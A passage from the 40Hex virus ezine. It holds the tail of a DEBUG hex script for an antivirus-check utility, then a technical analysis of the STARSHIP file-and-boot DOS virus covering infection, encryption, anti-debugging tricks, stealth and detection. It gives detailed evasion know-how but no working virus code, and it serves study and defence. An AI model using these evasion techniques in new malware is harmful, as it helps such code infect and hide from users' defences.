  2363. e 0330  6F 20 70 72 6F 63 65 73 73 3A 20 24 0D 0A 4E 6F
  2364. e 0340  20 69 6E 70 75 74 20 64 65 74 65 63 74 65 64 2E
  2365. e 0350  20 20 41 62 6F 72 74 69 6E 67 21 0D 0A 24 0D 0A
  2366. e 0360  46 69 6C 65 20 6E 6F 74 20 66 6F 75 6E 64 2E 20
  2367. e 0370  20 41 62 6F 72 74 69 6E 67 2E 0D 0A 24 0D 0A 54
  2368. e 0380  68 65 20 66 69 6C 65 20 69 73 20 7A 65 72 6F 20
  2369. e 0390  62 79 74 65 73 2E 20 20 44 69 65 21 0D 0A 24 0D
  2370. e 03A0  0A 54 68 65 20 66 69 6C 65 20 69 73 20 69 6E 76
  2371. e 03B0  61 6C 69 64 2E 0D 0A 24 0D 0A 43 68 65 63 6B 41
  2372. e 03C0  56 20 72 75 6E 20 63 6F 6D 70 6C 65 74 65 64 2E
  2373. e 03D0  0D 0A 24 0D 0A 0D 0A 54 65 73 74 69 6E 67 20 66
  2374. e 03E0  6F 72 3A 20 24 43 68 65 63 6B 69 6E 67 20 23 00
  2375. e 03F0  00 00 00 00 00 00 00 00 00 00 00 00 24 1B 74 65
  2376. e 0400  73 74 00 1B 65 63 68 6F 20 00 00 00 00 00 00 00
  2377. e 0410  00 00 00 00 20 3E 3E 20 72 65 73 75 6C 74 73 0D
  2378. e 0420  12 70 75 74 61 76 20 3C 20 74 65 73 74 20 3E 20
  2379. e 0430  6E 75 6C 0D 1B 70 6B 7A 69 70 20 2D 21 6F 20 74
  2380. e 0440  6F 6D 72 6F 74 20 74 65 73 74 20 3E 20 6E 75 6C
  2381. e 0450  0D 2F 70 6B 75 6E 7A 69 70 20 74 6F 6D 72 6F 74
  2382. e 0460  20 2D 74 20 7C 20 66 69 6E 64 20 22 41 75 74 68
  2383. e 0470  65 6E 74 69 63 22 20 3E 3E 20 72 65 73 75 6C 74
  2384. e 0480  73 0D 72 65 73 75 6C 74 73 00 74 65 73 74 00 74
  2385. e 0490  6F 6D 72 6F 74 2E 7A 69 70 00 20 1A 1A 1A 1A 1A
  2386. rcx
  2387. 049F
  2388. w
  2389. q
  2390. -------------------------------------------------------------------------------
  2391. 40Hex Number 8 Volume 2 Issue 4                                       File 005
  2392.  
  2393.        STARSHIP - interesting file-boot virus.
  2394.              Muttik I.G.
  2395.         (Internet: MIG@politon.msk.su)
  2396.  
  2397.  
  2398.      KEYWORDS
  2399.  
  2400.      Virus, DOS, executable file, masterboot record,
  2401.      resident in memory, encryption.
  2402.  
  2403.  
  2404.      ABSTRACT
  2405.  
  2406. STARSHIP virus (file and boot simultaneously) is described. It
  2407. infects IBM  PC and  compatibles running  DOS. Virus is called
  2408. STARSHIP :  this string can be easily found in the memory dump
  2409. of virus.  Virus infects  masterboot record  on  harddisk  and
  2410. executable files  files created on floppy drives. The virus is
  2411. encrypted. Infected executable files have no descriptor longer
  2412. than 2  bytes. Virus  appears to  have no destructive code, it
  2413. uses  music  and  video  effects  when  active.  The  abnormal
  2414. operation of the infected computers was sometimes detected.
  2415.  
  2416.  
  2417.      INTRODUCTION
  2418.  
  2419.      History of  computer viruses  is very  short.  The  first
  2420. known publications  are dated  with 1984-1985  [1,2]. But  now
  2421. situation in this field changes every day - uncountable number
  2422. of various  computer viruses  are  known  at  present  in  DOS
  2423. operating system.  The variety  of known viruses is fantastic,
  2424. but all  of them  falls into  three  known  categories:  file,
  2425. boot [3,4] and cluster. Active area of the first virus type is
  2426. executable files  and of  the second  type -  boot records  on
  2427. harddisks and  diskettes. The  third category is not yet over-
  2428. populated, the only representative is bulgarian DIR-II virus.
  2429.      Probably the  first virus  which infects  files and  boot
  2430. sectors was  Ghost virus  [5]. This  virus was  discovered  by
  2431. Fridrik Skulason  at Icelandic University. Ghost virus infects
  2432. only COM  files. This virus increases file size by 2351 bytes.
  2433. When active  the Ghost replaces boot sector of infected system
  2434. with a  boot virus  similar to  Ping Pong, but this boot virus
  2435. does  not   have   infection   routine.   The   Ghost   virus,
  2436. consequently, may  be considered  as a file virus with unusual
  2437. active phase.  After some  time appeared Virus-101, Frodo and,
  2438. finally, a  bunch of new viruses was found: Thanksgiving virus
  2439. (V-1),  TEQUILA   and  STARSHIP  (these  type  of  viruses  is
  2440. sometimes called "multi-partite").
  2441.      STARSHIP virus  was found  in  Moscow  in  January  1991.
  2442. Probably this virus was written in the USSR.
  2443.      The living cycle of STARSHIP virus is the following. When
  2444. infected file  is started  it modifies masterboot record (MBR)
  2445. on the harddisk and writes virus on the disk. Thereafter, when
  2446. computer reboots, virus intercepts interrupt vectors 13h (low-
  2447. level disk I/O) and 21h (DOS service). During the reboot virus
  2448. is stored in the videomemory at address BB00:0. It is moved to
  2449. the core  RAM later, when the first program terminates. Now it
  2450. stays resident  and infects any COM/EXE file created on floppy
  2451. drives.
  2452.  
  2453.      1. GENERAL DESCRIPTION
  2454.  
  2455.      Length of STARSHIP virus in memory is 2688 bytes. Size of
  2456. code is 2560 bytes, buffers and variables takes the remainder.
  2457. On harddisk virus takes 3072 bytes (6 sectors * 512 bytes).
  2458.      Virus layout  is shown  in Table.1  and its  memory  dump
  2459. (fragmentary) is  presented  in  Figure.1.  (NOTE:  All  dumps
  2460. presented is  the article  are partial in order to prevent the
  2461. possibility to use for generation of new viruses.)
  2462.      No text  messages except  one  string  ">STARSHIP_1<"  of
  2463. length 12  (found only in memory) were discovered. This string
  2464. can be  found only  in memory, because virus is stored on disk
  2465. and in the infected file in encrypted form.
  2466.      Normally virus stays resident and the size of used memory
  2467. block is  B00h=2816. The beginning of this memory block is the
  2468. Program Segment  Prefix (PSP)  of program  that triggered  the
  2469. installation of virus in the core RAM. Really virus is started
  2470. at offset  80h in  this PSP (consequently, the real virus size
  2471. is: B00h-80h=A80h=2688 bytes).
  2472.      Virus uses  standard interrupts  13h, 20h,  21h, 27h  and
  2473. creates its own interrupts F9h and FCh (see later). When virus
  2474. is already  resident (installed  in the core RAM) it uses only
  2475. 13h and  21h vectors.  Entry points of both interrupt handlers
  2476. can be  easily found  (CS:005F and CS:00C5; here CS represents
  2477. the code segment where virus resides).
  2478.      In the  memory dump of virus one can found the buffer for
  2479. the filename  (see ASCIIZ= 'B:\TMP\DROZFILA.COM' at CS:000D in
  2480. Fig.1).
  2481.      Virus  extensively   uses  its   internal  random  number
  2482. generator. The  random number  seed is  taken from  BIOS timer
  2483. variable  (0:46Ch).   Random  generator   is  used   for   the
  2484. demonstration of  video effect and while creating the infected
  2485. file (change  of size  is random  and virus  code is encrypted
  2486. using random number). The word "random" may be a real motto of
  2487. the described  virus -  it uses  random number  generator very
  2488. frequently.
  2489.      The part  of virus  memory image  is encrypted  using XOR
  2490. function (approximately 60% of total virus size). This section
  2491. is decrypted  and used  only while infecting files (section is
  2492. marked in  Table.1 with the box). After infection of each file
  2493. the XOR  mask is changed, and encryption is performed with the
  2494. new mask.  Described procedure  makes  the  encrypted  section
  2495. volatile and unreadable. This behavior is not used to hide any
  2496. strings in  virus body  (there are  no strings  at all, except
  2497. virus  name)  -  maybe  it  is  implemented  only  to  achieve
  2498. permanent variance.
  2499.      Virus uses  trace capabilities  of processor to determine
  2500. the original  BIOS interrupt  13h entry  point.  Virus  issues
  2501. int 13h with  trace flag  set and  records the  CS:IP when  CS
  2502. becomes greater  or equal  to C800h  (corresponds to  the  ROM
  2503. area). However  this method  seems to be non-universal. I have
  2504. investigated the  process of  disk infection  and  found  that
  2505. rewriting of  MBR sometimes  triggered the  resident antivirus
  2506. utilities (program  TSAFE:  Turbo-Anti  Virus  Ver.6.80A  from
  2507. CARMEL Software Engineering, Israel).
  2508.      While disassembling  the virus  I have found special code
  2509. inserts used  to  fool  disassemblers.  In  most  cases  these
  2510. inserts uses  non-working calls  and  jumps  pointing  on  the
  2511. garbage in  the virus  body. These  inserts are a real problem
  2512. for disassemblers  and I  have not  found one  that managed to
  2513. correctly separate  code and  data (or  code and garbage). The
  2514. intelligent analysis of code is needed, which is not performed
  2515. by  all   available  disassemblers  (including  smart  SOURCER
  2516. ver. 3.07, by V Communications Inc.).
  2517.      I have  carefully examined  the reconstructed  source and
  2518. established that STARSHIP virus appears to have no destructive
  2519. code.
  2520.  
  2521.  
  2522.      2. FILE INFECTION
  2523.  
  2524.      Strategy of  file infection  is the  following. Files are
  2525. infected while  creation of  EXE/COM file  on A:  or B: disks.
  2526. Virus records  file name  in internal buffer (at CS:000D), and
  2527. starts infection  routine when  request to  close the file was
  2528. issued. This  technique is  similar to the method used by Dark
  2529. Avenger virus [3,5,7].
  2530.      The idea  to infect only executable file that are created
  2531. on floppy  disks explains  why STARSHIP does not intercept int
  2532. 24h. This  interrupt is  usually catched by viruses to prevent
  2533. message - "Write  protect error". But when file is created (!)
  2534. on the  floppy disk  it automatically  indicates that the user
  2535. has removed (or will remove) the write protect tab.
  2536.      Change of infected file size is true random (for the same
  2537. file you  can get  many variants  of infection  with different
  2538. size growth). Change of size is typically 2616...2648 bytes.
  2539.      Virus infects  COMMAND.COM file  when it  is  created  on
  2540. floppy disk.  No special  strategy is  used to  infect command
  2541. interpreter - it is infected as a simple .COM file.
  2542.      When infecting executable (only EXE and COM) files, virus
  2543. preserves attribute.  If the file is readonly - this attribute
  2544. remains  unchanged  after  infection.  STARSHIP  examines  the
  2545. executable file  type by its contents, not by extension (tests
  2546. for 5A4Dh  at file  beginning, but  it does  not test  4D5Ah).
  2547. Virus does  not infect  short files  - see Table 2. Virus does
  2548. not infect  the files  that are  already infected.  Buffer  at
  2549. virus end  is used  to read  code beginning  and determine the
  2550. presence of  virus (it  seems to  me that virus may frequently
  2551. regard uninfected  files as infected, because it performs very
  2552. primitive analysis).
  2553.      Virus infection  routine uses  the following  interrupts:
  2554. int F9h (it points on the original int 21h, as set by DOS) and
  2555. int FCh  (points on  original int  13h, as set by BIOS). These
  2556. interrupts are used instead of int 21h and 13h. This technique
  2557. is probably  used to  prevent triggering  of certain antivirus
  2558. utilities. These  utilities often  controls all invokations of
  2559. 21h and 13h interrupts. The infection routine appends virus to
  2560. the end  of executable  file and  adjusts  the  program  entry
  2561. point.
  2562.      Executable files with COM extension are modified by virus
  2563. at first  3 bytes,  which are  replaced with  JMP instruction,
  2564. pointing on  the decryptor.  Original 3  bytes from file start
  2565. are stored at the very end of the infected file (like the body
  2566. of virus these bytes are encrypted with XOR function).
  2567.      After modification  of the  EXE  file  header  new  CS:IP
  2568. points on  the virus decryptor. SS, SP and MINALLOC fields are
  2569. changed. Original  CS, IP,  SS and SP are stored at the end of
  2570. the virus  body at  offset A4Fh  (you cannot fetch these bytes
  2571. directly - they are encrypted).
  2572.      The header  of the  infected EXE  file has  some  special
  2573. features. Instruction  pointer always  follows  the  relation:
  2574. 4<IP<13h. Spacing  between stack  segment and  code segment is
  2575. constant: SS-CS=100h  and  stack  pointer  is  always  set  to
  2576. SP=800h. Moreover,  STARSHIP does  not infect  EXE files  when
  2577. MAXALLOC field  of EXE  header is less than 0FFFFh. Virus does
  2578. not infect files with nonzero overlay number.
  2579.      Virus code  is added  to the end of file in the encrypted
  2580. form.  This  encrypted  code  goes  after  special  decrypting
  2581. program (decryptor). The purpose of decryptor is to decode the
  2582. virus body.
  2583.      Decryptor of  virus body  seems to  be specially designed
  2584. not to  have  a  characteristic  bytes  sequence  (descriptor)
  2585. longer than  2 bytes  (for example:  XOR BH,BH and MOV BL,6 is
  2586. used instead  of MOV BX,0006,  because first commands occupies
  2587. 2-bytes, but  the last takes 3 bytes). In reality this program
  2588. is mixed  with NOPs  and other 1-byte codes, not affecting the
  2589. execution of decryptor. The sequence of operators in main code
  2590. is fixed,  but spacing  between these  operators is  variable.
  2591. Described technique  really eliminates the possibility to find
  2592. virus using search based on certain descriptor, because any 2-
  2593. byte sequences  are found  on the  disk too frequently. Search
  2594. based on  the wildcard  strings must  take into  account  that
  2595. spacing between operators in virus code is variable (from 0 to
  2596. 16 bytes of NOPs and other silly stuff).
  2597.      Moreover, the  decryptor  uses  synonyms  for  code:  for
  2598. example the XCHG AX,SI command has three (!) different machine
  2599. code representations  (0c687h,  0f087h,  96h  means  the  same
  2600. processor directive  -  XCHG AX,SI).  As  well  MOV AX,SP  and
  2601. MOV BX,AX has  two representations. That fact also complicates
  2602. search based on the wildcard strings, producing many different
  2603. wildcards for the same virus.
  2604.      First  the  decryptor  must  determine  its  position  in
  2605. memory, because  all references  in the virus must be relative
  2606. to  the   known   point.   STARSHIP   uses   unusual   method,
  2607. simultaneously suppressing  the attempts  to  trace  execution
  2608. flow of  decryptor with  the use of debugger. Virus issues int
  2609. 03h (it  usually points  on IRET)  and then  reads the  return
  2610. address below (!) the stack pointer SP (LODSW SS:[SI]). If you
  2611. use the  debugger, it will immediately destroy all words below
  2612. the SP, resulting in the malfunction of the rest of decryptor.
  2613. Sometimes instead of int 03h virus uses interrupts 01h/11h/12h
  2614. as the dummy calls.
  2615.      Decryption of  virus code attached to infected executable
  2616. file is done from top addresses to bottom. This sequence makes
  2617. tricky setting of breakpoint after the decryption loop because
  2618. the last  decrypted byte is just below the loop. Hence, if you
  2619. place here  the breakpoint  it will  be  decrypted,  its  code
  2620. (0CCh) will  become garbage  and will  be executed  instead of
  2621. invokation of breakpoint routine.
  2622.      All general  processor registers  are set  to zero  after
  2623. decryption process prior to start of infected program. Segment
  2624. registers are preserved.
  2625.      When  I  used  MS-Windows  or  any  other  graphics  user
  2626. interfaces -  infection of  copied files  does not take place.
  2627. That is  possibly because  virus uses videomemory as temporary
  2628. buffer while  infecting files  and checks the videomode before
  2629. infection.
  2630.  
  2631.      3. DISK INFECTION
  2632.  
  2633.      When decryptor  finished its work it transfers control to
  2634. the disk  infection routine. First this code tests DOS version
  2635. number (virus works only with versions later than 2.0) and the
  2636. presence of video-RAM at BB00:0 (virus physically tests memory
  2637. existence at  this address  via MOV/CMP sequence). Second - it
  2638. tests if  virus is  already resident  (checks if special virus
  2639. memory dispatcher  is present at address 0000:04B0). And third
  2640. - STARSHIP determines the original int 13h entry point in BIOS
  2641. (it traces  the call of int 13h, function 8; this call is used
  2642. to determine  the physical  disk size).  The  fourth  -  virus
  2643. infects the masterboot via direct call of BIOS int 13h.
  2644.      STARSHIP  modifies   MBR  in   only  3  bytes:  head  and
  2645. sector/cylinder of  DOS boot.  Virus  places  its  code  in  6
  2646. consecutive sectors at the disk end (it uses physical disk #1,
  2647. last head,  last track  and last 6 sectors in the last track).
  2648. After modification  of MBR,  boot field  of  active  partition
  2649. points on pseudoDOS boot, the first of used 6 sectors. Dump of
  2650. pseudoDOS boot  is presented  in Figure  2. First  5 bytes  in
  2651. pseudoDOS boot  are equal  to the  original DOS boot beginning
  2652. (0EBh, 034h,  090h, 'MS').  The pseudoDOS  boot  contains  the
  2653. loader of virus code that is located in next 5 sectors. (Note:
  2654. the area at offset 115h..1F9h in pseudoDOS boot is filled with
  2655. garbage).
  2656.      Counter of  reboots (byte)  is located  at offset 1FCh in
  2657. pseudoDOS boot.  This counter is initialized with random value
  2658. in range  0...20h. Sometimes  it is initialized with 0FFh - in
  2659. this  case  the  counter  is  not  incremented  during  reboot
  2660. (probably such  computer cannot  be ill).  The probability  of
  2661. this case is approximately 30%.
  2662.      At offset  1FDh in pseudoDOS boot the XOR mask (byte) can
  2663. be found.  This mask  is used  for  decryption  of  5  sectors
  2664. following pseudoDOS boot (these sectors contains virus body).
  2665.      Moreover, I  have found  in pseudoDOS  boot the code that
  2666. loads and  executes unknown  procedure from  sectors 2...6  on
  2667. head 0  and track  0. Code from these sectors is executed only
  2668. if its  checksum is  valid. This  space between  MBR and first
  2669. partition (it  normally starts  on head 1, track 0) is usually
  2670. unused and  filled with zeros. This area is frequently used by
  2671. some computer viruses [3] (DiskKiller for example). But I have
  2672. not detected any valuable code in these sectors - this unknown
  2673. procedure was probably written only to fool the researchers or
  2674. for futer virus extension.
  2675.      Upon infection virus stores no original MBR copy. It only
  2676. saves changes  -  3  bytes  of  original  DOS  boot  head  and
  2677. sector/cylinder (stored  under XOR  mask inside  5 sectors  of
  2678. virus code). If you want to get these parameters you must read
  2679. XOR mask from pseudoDOS boot, decrypt the virus body and fetch
  2680. necessary 3 bytes from the appropriate positions.
  2681.      There is  another method  to restore original MBR. If you
  2682. perform the  request  to  read  MBR  (AX=201h,  CX=1,  DX=80h,
  2683. ES:BX=buffer) via  int 13h:  virus will read real MBR, restore
  2684. its original  contents and  you will obtain what you want. You
  2685. can save  this MBR  copy on  disk, reboot  from uninfected DOS
  2686. diskette and  write it  back on  harddrive instead of infected
  2687. MBR. This  method works fine and we used it successfully prior
  2688. to creation  of removing utility. The only disadvantage of the
  2689. described method is that it takes too much time.
  2690.  
  2691.  
  2692.      4. REBOOT OF INFECTED COMPUTER
  2693.  
  2694.      When computer  reboots the pseudoDOS boot is executed. It
  2695. loads virus  code in  videomemory (at  address BB00:0000).  PC
  2696. without videomemory  at segment  BB00 are not infected (I have
  2697. no computer  with monochrome  display adapter  so the test was
  2698. not  really   performed).  Then   it  decrypts   the  code  in
  2699. videomemory, intercepts  int 13h  and creates  special  memory
  2700. dispatcher at  address 0000:04B0.  The dispatcher structure is
  2701. shown in Fig.3a.
  2702.      Now all  accesses to  disk are  controlled with the virus
  2703. patch on  interrupt 13h. This code filters all accesses to MBR
  2704. and last  6 sectors  on disk.  The MBR now looks unchanged and
  2705. all writes to last 6 sectors are impossible (error flag is not
  2706. returned).   Described    technique   preserves   virus   from
  2707. modification, since its code is installed in DOS file area.
  2708.      After installation  in videomemory  virus examines if DOS
  2709. interrupts (20h, 21h, 27h) are set. This technique seems to be
  2710. universal :  I have  tested DOS versions 2.0, 2.11, 3.0, 3.30,
  2711. 4.0 and  virus successfully  intercepts DOS  interrupts. Virus
  2712. hanged during reboot only with MS-DOS version 5.00. Section of
  2713. virus implementing  the task  of DOS interception analyses the
  2714. validity of  CS in  the vectors table for DOS interrupts (20h,
  2715. 21h, 27h) to determine if it is safe to intercept DOS vectors.
  2716.      DOS interrupt  21h is  intercepted by STARSHIP before any
  2717. programs can  do the  same from CONFIG.SYS or AUTOEXEC.BAT. So
  2718. any resident  software vaccine  programs  ANTI4US2,  FLOSERUM,
  2719. TSAFE or  others, including programs with driver anatomy would
  2720. be unable to detect the operation of virus.
  2721.      After the  interception of DOS interrupts virus waits for
  2722. the termination  of  first  program.  It  test  the  calls  of
  2723. interrupts 20h,  27h and  of the DOS functions 0, 31h and 4Ch.
  2724. When Exit_to_DOS  request was  issued virus body is moved from
  2725. videomemory to  the core memory. If terminated program remains
  2726. resident virus  expands its  memory block  (glues to  resident
  2727. tail). If  program simply  returns to  DOS (AH=0, AH=4C) virus
  2728. substitutes the exit request with the TSR request (AH=31h) and
  2729. creates its own memory block. At this moment memory dispatcher
  2730. is modified to point on the new interrupt routines in the body
  2731. of virus.  From this moment virus stops controlling interrupts
  2732. 20h and  27h.  It  uses  now  only  13h  and  21h  interrupts.
  2733. Dispatcher layout  after the shift of virus to the core RAM is
  2734. presented in Fig.3b.
  2735.      If the  first loaded program uses graphics - the virus is
  2736. erased from  videomemory, but  it can  survive because  it has
  2737. special restoring procedure (int B0h, at address 0000:02C0, in
  2738. the vectors  table). That  is exotic  -  the  whole  interrupt
  2739. service routine is located in the interrupt table (it occupies
  2740. approximately 3  paragraphs and  covers  interrupts  B0...BB).
  2741. This routine  checks presence  of  virus  in  videomemory  (in
  2742. reality only  one word of videomemory is checked) and if virus
  2743. image was  destroyed all 5 sectors with virus program are read
  2744. to videomemory  and decoded (remember that disk image of virus
  2745. is XOR-encrypted).  Computer hangs  only if  graphics is  used
  2746. simultaneously with  accesses to DOS, but this situation seems
  2747. to  be  exceptional,  because  programs  usually  included  in
  2748. AUTOEXEC.BAT rarely use graphics.
  2749.      The performing of all these tests on the infected machine
  2750. was very  useful and  exciting  when  the  very  first  loaded
  2751. program was DEBUG (you must remove or rename AUTOEXEC.BAT; you
  2752. can also  place DEBUG  as  the  first  line  of  your  current
  2753. AUTOEXEC.BAT). All  virus structures  were easily located. The
  2754. most interesting  were attempts  to  erase  virus  image  from
  2755. videomemory -  virus immediately  restores its  code. In DEBUG
  2756. you can  investigate the  process of virus installation in the
  2757. core RAM.  You only  need to trace the request of DOS function
  2758. 4Ch (terminate) - and you will see how virus code is moved and
  2759. how its memory dispatcher is modified.
  2760.      After the  installation of virus in the core RAM it waits
  2761. for the  creation of any executable files on the floppy drives
  2762. A: and  B:. This  is usually done with DOS "copy" command when
  2763. destination file is located on floppy disk.
  2764.  
  2765.  
  2766.      4. ACTIVE PHASE
  2767.  
  2768.      The evil  happens when  reboots counter reaches 80 (while
  2769. initial reboot  counter is  in range  0..31). Disease  appears
  2770. after few  hours since  reboot and  this delay  depends on the
  2771. disk activity.  Virus plays  music  tones  and  drops  colored
  2772. points (ASCII=250)  without affecting  of  screen  background.
  2773. Each point  and each  tone corresponds  to  one  disk  access.
  2774. Frequency of  tones seems  to be  proportional to  the  seccyl
  2775. parameter (CX) of int 13h. This musical and visual effect does
  2776. not take place in any graphics modes. Colored points appearing
  2777. at random  screen positions  does not  affect  pseudographics.
  2778. Sometimes dots  are substituted  by spaces.  This video effect
  2779. corrupts  the   screen  in   text  mode   resulting   in   the
  2780. impossibility of using intensive disk accesses.
  2781.      When disks  are inactive  all operates correctly. You can
  2782. also use virtual disks or cache without any problems.
  2783.      Reboot temporary suspends virus activity.
  2784.      But remember  that infected  computer will  reach  active
  2785. phase  only  with  approximate  probability  2/3.  In  certain
  2786. infected computers triggering of virus is blocked! Behavior of
  2787. infected computer  depends on  the initial  value  of  reboots
  2788. counter.
  2789.  
  2790.  
  2791.      5. ERRORS AND BUGS
  2792.  
  2793.      When STARSHIP infects harddisk it rewrites 6 last sectors
  2794. on the  disk. The  contents of these sectors are unrecoverably
  2795. lost!
  2796.      Moreover, virus  controls all disk accesses (via int 13h)
  2797. to prevent  the rewrite  of its code (all writes to virus area
  2798. are simply  ignored; error  condition is not returned). But if
  2799. you load  DOS from floppy disk and then modify this restricted
  2800. zone (for  example if  you write file and it occasionally will
  2801. occupy the  last cluster  on the harddisk) - computer will not
  2802. reboot later  and hang.  You will  need  to  recreate  MBR  to
  2803. overcome this problem.
  2804.      I have  determined that  the problem  may appear when the
  2805. first used  program is  MARK (by  TurboPower  Software).  This
  2806. program is  used in  combination with  RELEASE to  remove  all
  2807. resident utilities  that were  loaded after  MARK, to save and
  2808. restore the  interrupt vectors  table and state of EMS memory.
  2809. When MARK remains resident virus glues to its memory block and
  2810. everything is  correct. But  when you start RELEASE - computer
  2811. hangs. This  happens because  RELEASE restores  the interrupts
  2812. table in  its state before (!) shift of virus to the core RAM,
  2813. when virus  was in  videomemory. Consequently, vectors 13h and
  2814. 21h  after   RELEASE  points   on  videomemory   where  is  no
  2815. appropriate handlers  at this  moment -  computer  immediately
  2816. hangs.
  2817.      Probably, if  you replace  your CGA,  EGA or  VGA adaptor
  2818. with MDA, your computer will hang after power-up because there
  2819. will be  no space  to store virus during reboot. (Virus checks
  2820. videomemory existence only once - prior to disk infection.)
  2821.      The use of special restoration procedure at address 0:2C0
  2822. in the  interrupt vectors  table must cause the malfunction of
  2823. computers that  uses vectors  B0...BB  during  reboot.  (These
  2824. vectors are  used by  virus only  during reboot,  when special
  2825. restoration procedure  is located at address 0:2C0. When virus
  2826. goes resident  in conventional  memory all  these vectors  are
  2827. cleared with zeroes!)
  2828.      I have  detected that  some XT  computers  with  RAMDRIVE
  2829. driver  in  the  CONFIG.SYS  did  not  execute  some  programs
  2830. (Harvard Graphics, MS-FORTRAN, QuickBASIC).
  2831.      Some users  have reported the problems with the reboot of
  2832. infected PS/2 model 30.
  2833.      These examples  establishes the  rule - remove virus when
  2834. you  fixed  its  presence.  There  are  no  harmless  viruses.
  2835. Remember: any infected program may produce malfunction of your
  2836. computer!
  2837.  
  2838.  
  2839.      6. STARSHIP DETECTION
  2840.  
  2841.      STARSHIP virus  has one  special feature  - it  does  not
  2842. modify any  executable file  on the  harddisk. So  if you  use
  2843. passive virus detectors (based on the generation of CRC checks
  2844. for the  files) to test your harddisk - you will never get the
  2845. warning about  virus activity.  Each file on the harddisk will
  2846. remain unchanged.  Additionally, if  this utility examines the
  2847. contents of  MBR and  DOS boot  sector, it will not inform you
  2848. about the  infection if it uses simple interrupt 13h. STARSHIP
  2849. will substitute  infected MBR with the original in each access
  2850. to MBR via int 13h.
  2851.      How to  detect the  presence of  STARSHIP? It  is a  real
  2852. problem, because  the search  of infected  files based  on the
  2853. virus descriptor  is impossible.  No standard  software can be
  2854. used to  found  STARSHIP.  Only  specially  designed  scanning
  2855. programs that  analyses the  contents of the EXE header or the
  2856. code at the file entry point are useful.
  2857.      Here follows  some useful  hints  that  may  be  used  to
  2858. determine the presence of STARSHIP virus.
  2859.      If  you  have  antivirus  program  AIDSTEST  by  Lozinsky
  2860. (version later than 115, April 1991) it can scan and desinfect
  2861. files (AIDSTEST  calls virus  "STARSHIP-2616").  Sometimes  it
  2862. refuses to  desinfect file  and reports something like "Cannot
  2863. remove virus. Delete file(Y/N)?".
  2864.      If you  reboot from original DOS diskette and start FDISK
  2865. - it  shows (Display Partition Information) that Start and End
  2866. of DOS partition are equal for the infected harddisk.
  2867.      You can  also detect  the presence  of STARSHIP  virus in
  2868. memory if  you examine  (unassemble) RAM  contents at  address
  2869. 0:4B0 with the help of DEBUG (compare with Fig.3).
  2870.      Typically executable  files has  text messages, tables or
  2871. zeros at  the end.  So you  can visually  examine the  tail of
  2872. executable file  and if  you will see approximately 2.7 kbytes
  2873. of garbage  - that  is suspicious  and  you  may  suggest  the
  2874. presence of  virus. Experienced  programmers may  also inspect
  2875. the  program   entry  point   with  DEBUG   and  analyse   the
  2876. disassembled listing.
  2877.      I also  recommend not  to copy  executable files  on  the
  2878. floppies  directly.   Use  archive  utilities  and  then  copy
  2879. archives on  the floppies.  This sequence saves disk space and
  2880. also preserves  from file  infection. But  this method has one
  2881. disadvantage. If the initial file is already infected you will
  2882. not be  able to  detect the  presence of  virus because  it is
  2883. incorporated into the archive in compressed form.
  2884.      The identification  of STARSHIP  virus is complex because
  2885. it extensively  uses XOR  coding and uses random masks. In the
  2886. infected file 100% of virus is encrypted. On disk - 5/6 and in
  2887. memory - approximately 60%. That is very interesting feature -
  2888. virus is  not available  in pure form, being variable on disk,
  2889. in file and in memory.
  2890.  
  2891.  
  2892.      CONCLUSION
  2893.  
  2894.      To  my   opinion  the   investigated  virus   is  a  very
  2895. interesting program.  Virus code  is highly  optimized on  the
  2896. machine-code level.  That was  possibly done to place the code
  2897. exactly into  5 sectors  on disk.  Virus uses various software
  2898. techniques,   it   has   antitracing   and   antidisassembling
  2899. organization,  it  has  no  descriptor.  These  measures  were
  2900. effective to  some extent,  because I  have some  problems  in
  2901. source reconstruction.  In many  cases the  source seems to be
  2902. not fully adequate.
  2903.      The present  stage of  virus technology  is characterized
  2904. with  the  complexity  of  virus  search,  identification  and
  2905. reconstruction. This  tendency to  create complex and sneakily
  2906. viruses seems  to be  general. For  example remember  the  XOR
  2907. coded 1701  virus group,  the Yankee  Doodle  [5,6]  group  of
  2908. viruses (called  also the  TP group  [3]) that  desinfects all
  2909. debugged infected files [3,5] and smart Century virus [7], SVC
  2910. series that  filters  all  accesses  to  the  directories  and
  2911. presents original file size for each infected file.
  2912.      The name  of virus  (STARSHIP_1) reveals  the idea of the
  2913. author to  extend the series. Be attentive, remember - the use
  2914. of backups may save you a vast of time.
  2915.  
  2916.  
  2917.      ACKNOWLEDGEMENTS
  2918.  
  2919.      I   am   greatly   acknowledged   to   V.V.Snegirev   and
  2920. A.G.Yakovlev for  useful discussions.  I also like to thank my
  2921. wife Helen for her understanding and support.
  2922.      I am aknowledged to Vesselin Bontchev, who read the draft
  2923. variant of the paper and made many valuable comments.
  2924.      I  also  wish  to  acknowledge  the  sponsorship  of  NPO
  2925. "POLITON" (Moscow, USSR).
  2926.  
  2927.      REFERENCES
  2928.  
  2929. [1]  Dewdney A.K.,     In the  game called  Core  War  hostile
  2930.      programs  engage   in  a   battle  of   bits,  Scientific
  2931.      American, v.250,  5 (1984) 15-19.
  2932. [2]  Cohen F.,     Computer viruses:  theory and  experiments,
  2933.      Proc. 2nd  IFIP Int.  Conf. on  Computer Security, (1984)
  2934.      143-158.
  2935. [3]  Bezrukov N.N.,     Computer virusology. Part 1: Main work
  2936.      principles, classification  and catalog of viruses in DOS
  2937.      operating system,  Edition 3.6, date 18.07.1990. (In soft
  2938.      form : files of 745 kbytes total size, 250p. in Russian).
  2939. [4]   McBroom V.,     Computer viruses:  what they are, how to
  2940.      protect against  them,  Software  Protection,  v.VIII,  3
  2941.      (1989) 1-16.
  2942. [5]  Documentation to  VIRUSCAN software  package from  McAfee
  2943.      Assosiates. Version 4.3V66. File-SCANV66.DOC, size-38024.
  2944. [6]  McAfee J.,     The virus cure, Datamation, v.35, 4 (1989)
  2945.      29-40.
  2946. [7]  Documentation to  Turbo Anti-Virus  software package from
  2947.      CARMEL  Software   Engineering.  Version   6.80A.   File-
  2948.      README.DOC, size-65566.
  2949. ==================================================================
  2950.  
  2951. Table 1. Layout and size of virus procedures.
  2952. (the box indicates the encrypted memory section)
  2953.  
  2954.   Size    Offset (hex)             Description
  2955.  
  2956.  
  2957.     3%    000 - 04F      Variables and buffers (see Fig.1)
  2958.     5%    050 - 0C1      Interrupt 13h handler
  2959.    10%    0C2 - 1C7      Interrupt 21h handler
  2960.    11%    1C8 - 312      Active part & check for DOS ready
  2961.     2%    313 - 340      Random number generator (RND)
  2962.     7%    341 - 3F7      Interrupts 20h, 21h, 27h handlers
  2963.  +--- encrypted --------------------------------------------+
  2964.  | 25%    3F8 - 692      Infector of EXE/COM file includes: |
  2965.  |     9%      3F8 - 4DD      input logic                   |
